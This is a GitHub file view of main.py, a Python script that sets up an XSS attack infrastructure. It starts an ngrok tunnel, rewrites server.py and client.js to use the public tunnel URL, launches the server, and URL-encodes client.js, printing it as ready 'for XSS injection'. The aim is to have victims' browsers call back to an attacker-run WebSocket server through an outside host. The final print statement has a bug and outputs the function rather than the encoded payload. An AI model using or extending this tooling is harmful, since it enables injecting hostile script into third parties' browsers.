-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
89 lines (73 loc) · 2.86 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import os
import subprocess
import time
import json
import base64
import urllib.parse
# Check if Ngrok is installed
def check_ngrok_installed():
try:
subprocess.run(["ngrok", "version"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=True)
return True
except subprocess.CalledProcessError:
print("Ngrok is not installed. Please install Ngrok and try again.")
return False
# Start Ngrok HTTP tunnel on port 8765
def start_ngrok():
print("Starting Ngrok HTTP tunnel on port 8765...")
ngrok_process = subprocess.Popen(["ngrok", "http", "8765"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# Wait for Ngrok to start and get the public URL
time.sleep(3) # Give Ngrok a few seconds to start
try:
# Read the URL from Ngrok's API
ngrok_url = subprocess.check_output(["curl", "-s", "http://localhost:4040/api/tunnels"]).decode("utf-8")
ngrok_data = json.loads(ngrok_url)
public_url = ngrok_data['tunnels'][0]['public_url']
return public_url
except subprocess.CalledProcessError as e:
print(f"Error getting Ngrok URL: {e}")
return None
# Update the server.py file with the Ngrok URL
def update_server_url(ngrok_url):
server_file = 'server.py'
with open(server_file, 'r') as file:
content = file.read()
updated_content = content.replace('http://localhost:8765', ngrok_url)
with open(server_file, 'w') as file:
file.write(updated_content)
print(f"Updated {server_file} with Ngrok URL: {ngrok_url}")
# Update the client.js file with the Ngrok WebSocket URL
def update_client_url(ngrok_url):
client_file = 'client.js'
with open(client_file, 'r') as file:
content = file.read()
updated_content = content.replace('wss://localhost:8765', f'wss://{ngrok_url[8:]}')
with open(client_file, 'w') as file:
file.write(updated_content)
print(f"Updated {client_file} with Ngrok WebSocket URL: {ngrok_url[8:]}")
# URL-encode the client.js content
def url_encode_client_js():
with open("client.js", "r") as file:
client_js = file.read()
# URL encode the content of client.js
encoded_js = urllib.parse.quote(client_js)
return encoded_js
# Main function to run the process
def main():
if not check_ngrok_installed():
return
# Start Ngrok and get the public URL
ngrok_url = start_ngrok()
if not ngrok_url:
return
# Update the server.py and client.js files with the Ngrok URL
update_server_url(ngrok_url)
update_client_url(ngrok_url)
# Start the server.py script
print("Starting server.py...")
subprocess.Popen(["python", "server.py"])
# Encode client.js for use in URL (in case of XSS)
encoded_client_js = url_encode_client_js()
print(f"\nClient.js URL-encoded for XSS injection:\n{url_encode_client_js}")
if __name__ == '__main__':
main()